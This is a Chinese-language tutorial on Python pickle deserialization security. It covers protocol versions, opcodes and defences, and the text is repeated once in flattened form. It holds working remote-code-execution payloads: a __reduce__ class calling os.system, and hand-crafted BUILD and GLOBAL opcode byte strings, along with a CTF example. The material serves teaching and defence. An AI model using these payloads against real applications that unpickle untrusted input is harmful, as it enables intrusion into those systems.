Python pickle 反序列化详解
字数 1413 2025-08-15 21:34:01

Python Pickle 反序列化安全详解

1. Pickle 基础概念

1.1 什么是 Pickle 反序列化

Pickle 是 Python 的标准模块,用于实现对象的序列化和反序列化:

  • 序列化:将 Python 对象转换为字节流
  • 反序列化:将字节流还原为 Python 对象

与 PHP 反序列化类似,Pickle 可以保存程序运行时状态,包括变量、字典和对象实例等。

1.2 Pickle 协议版本

Pickle 有多个协议版本,不同版本特性不同:

版本 引入版本 特性
v0 原始版本 人类可读,兼容早期 Python
v1 - 较早的二进制格式
v2 Python 2.3 支持 new-style class
v3 Python 3.0 支持 bytes 对象,不兼容 Python 2.x
v4 Python 3.4 支持大对象,存储更多对象类型

默认使用 v3 协议,v4 是最新推荐协议。

2. Pickle 基本使用

2.1 核心方法

import pickle

# 序列化方法
pickle.dumps(obj)      # 对象→字节流
pickle.dump(obj, file) # 对象→文件

# 反序列化方法
pickle.loads(bytes)    # 字节流→对象
pickle.load(file)      # 文件→对象

2.2 序列化示例

a_list = ['a', 'b', 'c']
print(pickle.dumps(a_list, protocol=0))  # 人类可读格式
print(pickle.dumps(a_list, protocol=3))  # 默认格式
print(pickle.dumps(a_list, protocol=4))  # 最新格式

3. Pickle 指令分析

3.1 使用 pickletools 分析

import pickle
import pickletools

a_list = ['a', 'b', 'c']
a_list_pickle = pickle.dumps(a_list, protocol=0)

# 优化序列化数据
a_list_pickle = pickletools.optimize(a_list_pickle)

# 反汇编指令
pickletools.dis(a_list_pickle)

3.2 关键指令说明

指令 代码 功能
MARK '(' 压入标记对象到栈
STOP '.' 结束 pickle 流
REDUCE 'R' 调用 reduce 方法
GLOBAL 'c' 导入全局对象 (module.attr)
BUILD 'b' 通过 setstatedict.update 构建对象
APPEND 'a' 添加元素到列表
SETITEMS 'u' 添加键值对到字典

4. Pickle 反序列化漏洞

4.1 reduce 方法利用

最常用的 RCE 方法,当对象被反序列化时自动调用:

import pickle

class Exploit:
    def __reduce__(self):
        return (__import__('os').system, ('whoami',))

payload = pickle.dumps(Exploit(), protocol=3)
pickle.loads(payload)  # 执行系统命令

4.2 BUILD 指令利用

通过修改对象的 setstate 方法实现 RCE:

# 手工构造 payload
payload = b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'

# 反序列化执行
pickle.loads(payload)

4.3 GLOBAL 指令利用

利用 c 指令码调用任意模块和属性:

# 覆盖 secret 模块变量示例
payload = b'\x80\x03c__main__\nflag\nq\x00)\x81}q\x01(X\x01\x00\x00\x00aq\x02csecret\na\nq\x03X\x01\x00\x00\x00bq\x04csecret\nb\nq\x05ub.'

5. 防御措施

  1. 避免反序列化不可信数据:永远不要反序列化不受信任的来源的数据

  2. 使用替代方案

    • 对于简单数据使用 json
    • 对于复杂数据考虑使用其他安全序列化格式
  3. 限制 unpickler

    import pickle
    
    class RestrictedUnpickler(pickle.Unpickler):
        def find_class(self, module, name):
            # 只允许安全的模块和类
            if module == 'builtins' and name in ('list', 'tuple', 'dict'):
                return getattr(__builtins__, name)
            raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
    
    RestrictedUnpickler(io.BytesIO(payload)).load()
    
  4. 签名验证:如果必须传输 pickle 数据,添加 HMAC 签名验证数据完整性

6. 实际案例分析

6.1 CTF 常见题型

import secret
import pickle

class flag():
    def __init__(self, a, b):
        self.a = a
        self.b = b

# 目标:构造 payload 使 other_flag 与 secret_flag 属性相同
your_payload = b'?'  
other_flag = pickle.loads(your_payload)
secret_flag = flag(secret.a, secret.b)

if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:
    print('flag{xxxxxx}')

解决方案:利用 GLOBAL 指令直接引用 secret 模块中的变量。

6.2 Web 应用中的利用

当 Web 应用使用 pickle 处理 session 或其它用户提供的数据时,可能通过构造恶意 pickle 数据实现 RCE。

7. 总结

Pickle 反序列化是一个强大的功能,但也带来了严重的安全风险:

  • 可以执行任意代码(通过 reduce 或 BUILD)
  • 可以访问和修改任意对象属性
  • 漏洞利用构造相对简单

开发者应当充分了解其风险,在生产环境中谨慎使用,或选择更安全的替代方案。

Python Pickle 反序列化安全详解 1. Pickle 基础概念 1.1 什么是 Pickle 反序列化 Pickle 是 Python 的标准模块,用于实现对象的序列化和反序列化: 序列化:将 Python 对象转换为字节流 反序列化:将字节流还原为 Python 对象 与 PHP 反序列化类似,Pickle 可以保存程序运行时状态,包括变量、字典和对象实例等。 1.2 Pickle 协议版本 Pickle 有多个协议版本,不同版本特性不同: | 版本 | 引入版本 | 特性 | |------|----------|------| | v0 | 原始版本 | 人类可读,兼容早期 Python | | v1 | - | 较早的二进制格式 | | v2 | Python 2.3 | 支持 new-style class | | v3 | Python 3.0 | 支持 bytes 对象,不兼容 Python 2.x | | v4 | Python 3.4 | 支持大对象,存储更多对象类型 | 默认使用 v3 协议,v4 是最新推荐协议。 2. Pickle 基本使用 2.1 核心方法 2.2 序列化示例 3. Pickle 指令分析 3.1 使用 pickletools 分析 3.2 关键指令说明 | 指令 | 代码 | 功能 | |------|------|------| | MARK | '(' | 压入标记对象到栈 | | STOP | '.' | 结束 pickle 流 | | REDUCE | 'R' | 调用 reduce 方法 | | GLOBAL | 'c' | 导入全局对象 (module.attr) | | BUILD | 'b' | 通过 setstate 或 dict .update 构建对象 | | APPEND | 'a' | 添加元素到列表 | | SETITEMS | 'u' | 添加键值对到字典 | 4. Pickle 反序列化漏洞 4.1 reduce 方法利用 最常用的 RCE 方法,当对象被反序列化时自动调用: 4.2 BUILD 指令利用 通过修改对象的 setstate 方法实现 RCE: 4.3 GLOBAL 指令利用 利用 c 指令码调用任意模块和属性: 5. 防御措施 避免反序列化不可信数据 :永远不要反序列化不受信任的来源的数据 使用替代方案 : 对于简单数据使用 json 对于复杂数据考虑使用其他安全序列化格式 限制 unpickler : 签名验证 :如果必须传输 pickle 数据,添加 HMAC 签名验证数据完整性 6. 实际案例分析 6.1 CTF 常见题型 解决方案:利用 GLOBAL 指令直接引用 secret 模块中的变量。 6.2 Web 应用中的利用 当 Web 应用使用 pickle 处理 session 或其它用户提供的数据时,可能通过构造恶意 pickle 数据实现 RCE。 7. 总结 Pickle 反序列化是一个强大的功能,但也带来了严重的安全风险: 可以执行任意代码(通过 reduce 或 BUILD) 可以访问和修改任意对象属性 漏洞利用构造相对简单 开发者应当充分了解其风险,在生产环境中谨慎使用,或选择更安全的替代方案。